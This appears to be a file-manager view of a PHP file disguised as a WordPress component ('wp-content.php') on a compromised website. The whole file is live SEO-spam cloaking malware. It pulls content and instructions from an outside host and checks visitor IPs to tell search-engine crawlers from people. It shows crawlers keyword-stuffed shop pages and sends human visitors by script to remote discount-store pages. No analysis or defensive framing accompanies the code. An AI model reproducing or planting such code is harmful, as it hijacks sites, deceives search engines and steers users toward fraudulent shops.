File "wp-content.php"

Full path: D:/Inetpub/vhosts/sitemais.com.br/httpdocs/wp-content.php
File size: 3.95 B
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Editor &nnbsp; Back

<?php
error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING);
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$kname = "";
$kgurl = "http://pendsports.com/4.aspx";
$jd = file_get_contents($kgurl);
if (!is_null($_GET['iid'])) {
	$kname = file_get_contents($jd."gn.aspx?iid=" . $_GET['iid']);
}
if (!is_null($_GET['s'])) {
	$cid = file_get_contents($jd."sjs.aspx");
	if (!is_null($_GET['cid'])) {
		$cid = $_GET['cid'];
	}

	$url = $jd."sjd.aspx?cid=" . $cid . "&number=" . $_GET['number'] . "&pnum=" . $_GET['pnum'];
	$str = file_get_contents($url);
	$str = str_replace('yymm', $http_type . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'], $str);
	header("Content-type:text/xml");
	echo $str;
	exit();
}
function check($ip)
{
	global $jd;
	if (!is_null($_GET['kk'])) {
		$ip = "66.249.64.190";
	}
	$domain = file_get_contents($jd."getdomain.aspx?rnd=1&ip=" . $ip);
	if (stripos($domain, 'google') != false or stripos($domain, 'msn.com') != false or stripos($domain, 'yahoo.com') != false or stripos($domain, 'aol.com') != false) {
	} else {
		if (!is_null($_GET['iid'])) {
			$kname = file_get_contents($jd."gn.aspx?iid=" . $_GET['iid']);
			$xs = $jd."a.aspx";
			echo '<script>document.location="' . $xs . "?cid=" . $_GET['cid'] . "&cname=" . urlencode($kname) . "&url=".$_SERVER['HTTP_HOST'].'"</script>';
			exit();
		}
		if (!is_null($_GET['pnum'])) {
			$xs = $jd."a.aspx";
			$txt = str_replace("products.aspx", "", $xs) . "?cid=" . $_GET['cid'];
			echo '<script>document.location="' . $txt . '"</script>';
			exit();
		}
	}
}
function getIP()
{
	$ip = $_SERVER['REMOTE_ADDR'] . "*" . $_SERVER['REMOTE_HOST'] . "*" . $_SERVER['HTTP_CLIENT_IP'] . "*" . $_SERVER['HTTP_X_FORWARDED_FOR'] . "*" . $_SERVER['HTTP_X_FORWARDED'] . "*" . $_SERVER['HTTP_FORWARDED_FOR'] . "*" . $_SERVER['HTTP_FORWARDED'];
	return $ip;
}
$validate = check(getIP());
?> 
<?php
$url = "";
$hyzhdy = $jd."doiid.aspx";
if (!is_null($_GET['iid'])) {
	$wid = mt_rand(1, 1000);
	$url = $hyzhdy . "?iid=" . $_GET['iid'] . "&mt=".$jd."EN2/" . $wid . ".txt";
} else {
	$cid = file_get_contents($jd."sjs.aspx");
	if (!is_null($_GET['cid'])) {
		$cid = $_GET['cid'];
	}
	$url = $hyzhdy . "?cid=" . $cid . "&pnum=" . $_GET['pnum'];
}
$ttttt = $kname . "Quality Promotional Products & Merchandise | Lowest Prices | Dresses, Denim, Tops, Shoes and More - Best-Selling Promotional Products" . $_GET['pnum'];
$kkkkk = $kname;
$iiiii = "OFF" . mt_rand(50, 70) . "%" . $kname . "Online Discount Shop for Electronics, Apparel, Toys, Books, Games, Computers, Shoes, Jewelry, Watches, Baby Products, Sports & Outdoors, Office Products, Bed & Bath, Furniture, Tools, Hardware, Automotive Parts, Accessories & more";
$ccccc = $http_type . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];

$str = file_get_contents($url);
$str = str_replace('UUUUU', $http_type . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'], $str);
$str = str_replace('BBBBB', $_SERVER['HTTP_HOST'], $str);
$str = str_replace('NNNNN', $kname . $_GET['iid'], $str);
$str = str_replace('DDDDD', $kname . " Gold, White, Black, Red, Blue, Beige, Grey, Price, Rose, Orange, Purple, Green, Yellow, Cyan, Bordeaux, pink, Indigo, Brown, Silver,Electronics, Video Games, Computers, Cell Phones, Toys, Games, Apparel, Accessories, Shoes, Jewelry, Watches, Office Products, Sports & Outdoors, Sporting Goods, Baby Products, Health, Personal Care, Beauty, Home, Garden, Bed & Bath, Furniture, Tools, Hardware, Vacuums, Outdoor Living, Automotive Parts, Pet Supplies, Broadband, DSL, Books, Book Store, Magazine, Subscription, Music, CDs, DVDs, Videos,Online Shopping " . $_GET['searchtxt'], $str);
$str = str_replace('TTTTT', $ttttt, $str);
$str = str_replace('KKKKK', $kkkkk, $str);
$str = str_replace('IIIII', $iiiii, $str);
$str = str_replace('CCCCC', $ccccc, $str);
echo $str;
?>